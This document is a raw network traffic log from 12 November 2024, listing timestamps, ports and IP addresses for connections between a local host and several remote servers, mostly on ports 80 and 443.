Nov 12, 2024 17:07:49.466169119 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.466176033 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.517039061 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.517097950 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.517271042 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.517355919 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.517373085 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.517390013 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.517395973 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.520164967 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.520191908 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.520277977 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.520477057 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.520490885 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.525469065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525484085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525496006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525556087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.525562048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525576115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525592089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.525612116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.525796890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525839090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.525850058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525861979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.525899887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.526247978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.526299953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.526305914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.526312113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.526396990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.560566902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560580015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560590982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560658932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.560677052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560715914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.560715914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.560734034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560745955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560791969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.560887098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560899019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560909986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.560935020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.560947895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.561569929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.561603069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.561628103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.561641932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.575009108 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.575036049 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.575084925 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.575113058 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.575160980 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.576813936 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.576833963 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.579931974 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.579968929 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.580053091 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.580180883 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.580192089 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.637322903 CET	49903	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:49.637356997 CET	443	49903	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:49.637509108 CET	49903	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:49.637679100 CET	49904	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:49.637711048 CET	443	49904	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:49.637772083 CET	49904	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:49.637892008 CET	49903	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:49.637912989 CET	443	49903	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:49.638015032 CET	49904	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:49.638029099 CET	443	49904	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:49.646974087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647063017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647075891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647115946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.647152901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.647172928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647198915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647211075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647253036 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.647336960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647406101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647419930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647464991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.647603989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.647789955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.680265903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680329084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.680454969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680466890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680478096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680490971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680504084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680511951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.680546045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.680841923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680854082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680865049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680903912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.680975914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.680988073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.681025028 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.699095011 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.699187994 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.699274063 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.699626923 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.699626923 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.699641943 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.699652910 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.702784061 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.702850103 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.702991009 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.703134060 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.703149080 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.766741991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.766812086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.766928911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.766942024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.766993999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.767008066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767021894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767040968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767055988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.767082930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.767160892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767173052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767185926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767199039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.767205954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.767231941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.767255068 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.799901962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.799916029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.799927950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.799973011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800014973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800122023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800133944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800172091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800261974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800276995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800302029 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800334930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800358057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800369024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800380945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800393105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.800410986 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800442934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.800995111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.801022053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.801033974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.801057100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.801070929 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.863065958 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.863550901 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.863574028 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.864084005 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.864089012 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.886564016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886599064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886624098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886667967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.886708975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886713982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.886728048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886740923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886769056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.886792898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.886853933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886867046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.886909008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.887558937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.887701035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.887712002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.887733936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.887746096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.887778997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.887778997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919442892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919493914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919500113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919506073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919527054 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919553041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919583082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919600964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919619083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919639111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919807911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919850111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919861078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919862986 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919887066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919900894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.919950008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919961929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.919998884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.920547962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.920557976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.920569897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.920597076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.920615911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.921473026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.921497107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.921546936 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.002713919 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.003433943 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.003532887 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.006290913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006361008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.006380081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006392002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006431103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.006496906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006510973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006524086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006546974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.006558895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.006951094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006994009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.006999969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.007025003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.024049044 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.024071932 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.024087906 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.024095058 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.036787987 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.036832094 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.036907911 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.037528992 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.037544966 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.039167881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039186954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039200068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039212942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039241076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039288998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039299965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039350033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039424896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039459944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039617062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039628029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039654016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039661884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039666891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039705992 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039760113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039865017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039876938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.039901972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.039923906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.040509939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.040565014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.040574074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.040576935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.040599108 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.040623903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.095633984 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.095663071 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.095752954 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.095978022 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096003056 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.096220970 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096365929 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096419096 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.096537113 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096662998 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096669912 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.096713066 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096858978 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.096867085 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.096935034 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.097076893 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.097110987 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.097157001 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.097490072 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.097500086 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.097609997 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.097619057 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.097862005 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.097877026 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.098010063 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.098018885 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.098174095 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.098182917 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.098458052 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.098473072 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.102216005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.102230072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.102307081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.102307081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.102354050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.102387905 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.126064062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126076937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126090050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126113892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.126135111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.126205921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126218081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126252890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.126336098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126348019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126386881 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.126456976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.126534939 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159193039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159246922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159252882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159265995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159307957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159405947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159419060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159429073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159455061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159468889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159637928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159678936 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159717083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159729958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159751892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159780025 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159863949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159878016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159888029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.159902096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.159929037 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.160465002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.160538912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.160572052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.160584927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.160619020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.160640001 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.222170115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.222249031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.222264051 CET	49859	80	192.168.2.6	185.215.113.206
